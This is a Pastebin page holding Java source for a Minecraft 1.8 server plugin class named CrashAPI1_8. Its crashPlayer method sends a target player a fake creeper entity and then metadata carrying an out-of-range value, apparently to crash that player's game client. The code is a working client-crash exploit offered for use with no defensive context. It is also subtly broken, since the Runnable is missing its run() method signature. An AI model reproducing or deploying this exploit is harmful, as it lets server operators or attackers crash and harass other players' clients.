Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import net.minecraft.server.v1_8_R3.PacketPlayOutSpawnEntityLiving;
- public class CrashAPI1_8 {
- private static CrashPlugin main;
- public CrashAPI1_8(CrashPlugin main) {
- this.main = main;
- }
- public static void crashPlayer(Player p) {
- final EntityPlayer px = ((CraftPlayer)p).getHandle();
- final EntityCreeper entity = new EntityCreeper(px.world);
- final DataWatcher dw = new DataWatcher(entity);
- dw.a(18, (Object)Integer.MAX_VALUE);
- PacketPlayOutSpawnEntityLiving packet_spawn = new PacketPlayOutSpawnEntityLiving(entity);
- px.playerConnection.sendPacket(packet_spawn);
- Bukkit.getScheduler().scheduleSyncDelayedTask(main, new Runnable(){
- @Override
- PacketPlayOutEntityMetadata meta = new PacketPlayOutEntityMetadata(entity.getId(), dw, true);
- px.playerConnection.sendPacket(meta);
- }
- }, 5L);
- return;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment